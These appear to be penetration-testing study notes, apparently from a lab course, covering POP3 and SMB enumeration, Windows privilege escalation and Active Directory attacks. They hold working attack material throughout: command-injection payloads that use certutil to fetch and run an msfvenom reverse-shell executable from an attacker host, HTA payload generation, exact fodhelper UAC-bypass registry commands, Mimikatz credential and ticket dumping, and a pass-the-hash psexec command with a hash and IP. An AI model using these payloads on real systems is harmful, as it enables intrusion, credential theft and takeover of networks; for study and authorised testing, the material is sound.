POP3 port 110

Enumerate

In this situation we used another service on port 4555 and reset the password of ryuu to test in order to login into pop3 and grab credentials for ssh. SSH later triggered an exploit which caught us a restricted shell as user ryuu

nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -p 110 $IP
telnet $IP 110 #Connect to pop3
USER ryuu #Login as user
PASS test #Authorize as user
list #List every message
retr 1 #retrieve the first email

RPC port 111

Enumerate
nmap -sV -p 111 --script=rpcinfo $IP

MSRPC port 135

SMB port 139,445

Port 139 NetBIOS stands for Network Basic Input Output System. It is a software protocol that allows applications, PCs, and Desktops on a local area network (LAN) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one (the client) sends a command to “call” another client (the server) over TCP Port 139. (extracted from here)

Port 445 While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

Command Injection

DNS Querying Service

For background the DNS Querying Service is running nslookup and then querying the output. The way we figured this out was by inputing our own IP and getting back an error that is similar to one that nslookup would produce. With this in mind we can add the && character to append another command to the query:

&& whoami

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your kali IP> LPORT=<port you designated> -f exe -o ~/shell.exe
python3 -m http.server 80
&& certutil -urlcache -split -f http://<your kali IP>/shell.exe C:\\Windows\temp\shell.exe
nc -nlvp 80
&& cmd /c C:\\Windows\\temp\\shell.exe

SSRF

SSRF vulnerabilities occur when an attacker has full or partial control of the request sent by the web application. A common example is when an attacker can control the third-party service URL to which the web application makes a request.

HTA Attack in Action

We will use msfvenom to turn our basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell. In Listing 11, the complete reverse shell payload is generated and saved into the file evil.hta.

msfvenom -p windows/shell_reverse_tcp LHOST=<your tun0 IP> LPORT=<your nc port> -f hta-psh -o ~/evil.hta

Exploiting Microsoft Office

When leveraging client-side vulnerabilities, it is important to use applications that are trusted by the victim in their everyday line of work. Unlike potentially suspicious-looking web links, Microsoft Office1 client-side attacks are often successful because it is difficult to differentiate malicious content from benign. In this section, we will explore various client-side attack vectors that leverage Microsoft Office applications

Microsoft Word Macro

The Microsoft Word macro may be one the oldest and best-known client-side software attack vectors.

Microsoft Office applications like Word and Excel allow users to embed macros, a series of commands and instructions that are grouped together to accomplish a task programmatically. Organizations often use macros to manage dynamic content and link documents with external content. More interestingly, macros can be written from scratch in Visual Basic for Applications (VBA), which is a fully functional scripting language with full access to ActiveX objects and the Windows Script Host, similar to JavaScript in HTML Applications.

NFS Shares

cat /etc/exports

Files created via NFS inherit the remote user’s ID. If the user is root, and root squashing is enabled, the ID will instead be set to the “nobody” user.

Notice that the /srv share has root squashing disabled. Because of this, on our local machine we can create a mount point and mount the /srv share.

-bash-4.2$ cat /etc/exports
/srv/Share 10.1.1.0/24(insecure,rw)

User Account Control (UAC) Bypass

UAC can be bypassed in various ways. In this first example, we will demonstrate a technique that allows an administrator user to bypass UAC by silently elevating our integrity level from medium to high. As we will soon demonstrate, the fodhelper.exe509 binary runs as high integrity on Windows 10 1709. We can leverage this to bypass UAC because of the way fodhelper interacts with the Windows Registry. More specifically, it interacts with registry keys that can be modified without administrative privileges. We will attempt to find and modify these registry keys in order to run a command of our choosing with high integrity

whoami /groups #check your integrity level/to get high integrity level to be able to run mimikatz and grab those hashes  
C:\Windows\System32\fodhelper.exe #32 bit
C:\Windows\SysNative\fodhelper.exe #64 bit

Launch Powershell and run the following

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd /c start C:\Users\ted\shell.exe" -Force

run fodhelper setup and nc shell and check your priority

C:\Windows\System32\fodhelper.exe

Leveraging Unquoted Service Paths

Another interesting attack vector that can lead to privilege escalation on Windows operating systems revolves around unquoted service paths.1 We can use this attack when we have write permissions to a service's main directory and subdirectories but cannot replace files within them. Please note that this section of the module will not be reproducible on your dedicated client. However, you will be able to use this technique on various hosts inside the lab environment.

As we have seen in the previous section, each Windows service maps to an executable file that will be run when the service is started. Most of the time, services that accompany third party software are stored under the C:\Program Files directory, which contains a space character in its name. This can potentially be turned into an opportunity for a privilege escalation attack.

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v """

In this example we see than ZenHelpDesk is in program files as discussed before and has an unqouted path.

C:\Users\ted>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v """

Next we want to create a msfvenom file for a reverse shell and upload it to the folder where we have privledges over a file to write to. Start your netcat listner and check to see if you have shutdown privledges

Active Directory Credential Hunting

cached storage credential attacks

Since Microsoft's implementation of Kerberos makes use of single sign-on, password hashes must be stored somewhere in order to renew a TGT request. In current versions of Windows, these hashes are stored in the Local Security Authority Subsystem Service (LSASS)1 memory space. If we gain access to these hashes, we could crack them to obtain the cleartext password or reuse them to perform various actions.

sekurlsa::logonpasswords

Notice that we have two types of hashes highlighted in the output above. This will vary based on the functional level of the AD implementation. For AD instances at a functional level of Windows 2003, NTLM is the only available hashing algorithm. For instances running Windows Server 2008 or later, both NTLM and SHA-1 (a common companion for AES encryption) may be available. On older operating systems like Windows 7, or operating systems that have it manually set, WDigest,9 will be enabled. When WDigest is enabled, running Mimikatz will reveal cleartext password alongside the password hashes.

SEKURLSA::Tickets – Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computer’s AD computer account. Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users).

Dumps all authenticated Kerberos tickets on a system. Requires administrator access (with debug) or Local SYSTEM rights

sekurlsa::tickets

A different approach and use of Mimikatz is to exploit Kerberos authentication by abusing TGT and service tickets. As already discussed, we know that Kerberos TGT and service tickets for users currently logged on to the local machine are stored for future use. These tickets are also stored in LSASS and we can use Mimikatz to interact with and retrieve our own tickets and the tickets of other local users.

The output shows both a TGT and a TGS. Stealing a TGS would allow us to access only particular resources associated with those tickets. On the other side, armed with a TGT ticket, we could request a TGS for specific resources we want to target within the domain. We will discuss how to leverage stolen or forged tickets later on in the module.

Service Account Attacks

Recalling the explanation of the Kerberos protocol, we know that when the user wants to access a resource hosted by a SPN, the client requests a service ticket that is generated by the domain controller. The service ticket is then decrypted and validated by the application server, since it is encrypted through the password hash of the SPN.

When requesting the service ticket from the domain controller, no checks are performed on whether the user has any permissions to access the service hosted by the service principal name. These checks are performed as a second step only when connecting to the service itself. This means that if we know the SPN we want to target, we can request a service ticket for it from the domain controller. Then, since it is our own ticket, we can extract it from local memory and save it to disk.

Rubeus Exploitation

When we ran Rubeus it triggered a Keberos Auth request and we were able to use mimikatz after to get the ticket as well.

cp /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe .
cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .

To download the service ticket with Mimikatz, we use the kerberos::list command, which yields the equivalent output of the klist command above. We also specify the /export flag to download to disk as shown in Listing 33.

Credential Dumping SAM

SAM is short for the Security Account Manager which manages all the user accounts and their passwords. It acts as a database. All the passwords are hashed and then stored SAM. It is the responsibility of LSA (Local Security Authority) to verify user login by matching the passwords with the database maintained in SAM. SAM starts running in the background as soon as the Windows boots up. SAM is found in C:\Windows\System32\config and passwords that are hashed and saved in SAM can found in the registry, just open the Registry Editor and navigate yourself to HKEY_LOCAL_MACHINE\SAM.

Active Directory Lateral Movement

Pass the Hash

The Pass the Hash (PtH) technique allows an attacker to authenticate to a remote system or service using a user's NTLM hash instead of the associated plaintext password. Note that this will not work for Kerberos authentication but only for server or service using NTLM authentication.

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8c802621d2e36fc074345dded890f3e5 Administrator@192.168.129.59

Overpass the Hash

With overpass the hash,1 we can "over" abuse a NTLM user hash to gain a full Kerberos Ticket Granting Ticket (TGT) or service ticket, which grants us access to another machine or service as that user.

net use \\dc02.exam.com

We have now converted our NTLM hash into a Kerberos TGT, allowing us to use any tools that rely on Kerberos authentication (as opposed to NTLM) such as the official PsExec application from Microsoft. PsExec can run a command remotely but does not accept password hashes. Since we have generated Kerberos tickets and operate in the context of Jeff_Admin in the PowerShell session, we may reuse the TGT to obtain code execution on the domain controller.

Let's try that now, running ./PsExec.exe to launch cmd.exe remotely on the \dc01 machine as Jeff_Admin:

https://github.com/EliteLoser/Invoke-PsExec/blob/master/PsExec.exe
cp /home/kali/Downloads/PsExec.exe .
python3 -m http.server 800
certutil -urlcache -split -f http://192.168.119.183:800/PsExec.exe
.\PsExec.exe \\dc02.exam.com cmd.exe

Pass the Ticket

We can only use the TGT on the machine it was created for, but the TGS potentially offers more flexibility. The Pass the Ticket attack takes advantage of the TGS, which may be exported and re-injected elsewhere on the network and then used to authenticate to a specific service. In addition, if the service tickets belong to the current user, then no administrative privileges are required.

Silver Ticket

However, with the service account password or its associated NTLM hash at hand, we can forge our own service ticket to access the target resource with any permissions we desire. This custom-created ticket is known as a silver ticket1 and if the service principal name is used on multiple servers, the silver ticket can be leveraged against them all. Mimikatz can craft a silver ticket and inject it straight into memory through the (somewhat misleading) kerberos::golden2 command. We will explain this apparent misnaming later in the module.

Distributed Component Object Model (DCOM)

The Microsoft Component Object Model (COM) is a system for creating software components that interact with each other. While COM was created for either same-process or cross-process interaction, it was extended to Distributed Component Object Model (DCOM) for interaction between multiple computers over a network. DCOM objects related to Microsoft Office allow lateral movement, both through the use of Outlook7 as well as PowerPoint.8 Since this requires the presence of Microsoft Office on the target computer, this lateral movement technique is best leveraged against workstations.

Golden Ticket

Going back to the explanation of Kerberos authentication, we recall that when a user submits a request for a TGT, the KDC encrypts the TGT with a secret key known only to the KDCs in the domain. This secret key is actually the password hash of a domain user account called krbtgt.1

If we are able to get our hands on the krbtgt password hash, we could create our own self-made custom TGTs, or golden tickets. t this stage of the engagement, we should have access to an account that is a member of the Domain Admins group or we have compromised the domain controller itself. With this kind of access, we can extract the password hash of the krbtgt account with Mimikatz.

Domain Controller Synchronization

To do this, we could move laterally to the domain controller and run Mimikatz to dump the password hash of every user. We could also steal a copy of the NTDS.dit database file,1 which is a copy of all Active Directory accounts stored on the hard drive, similar to the SAM database used for local accounts.
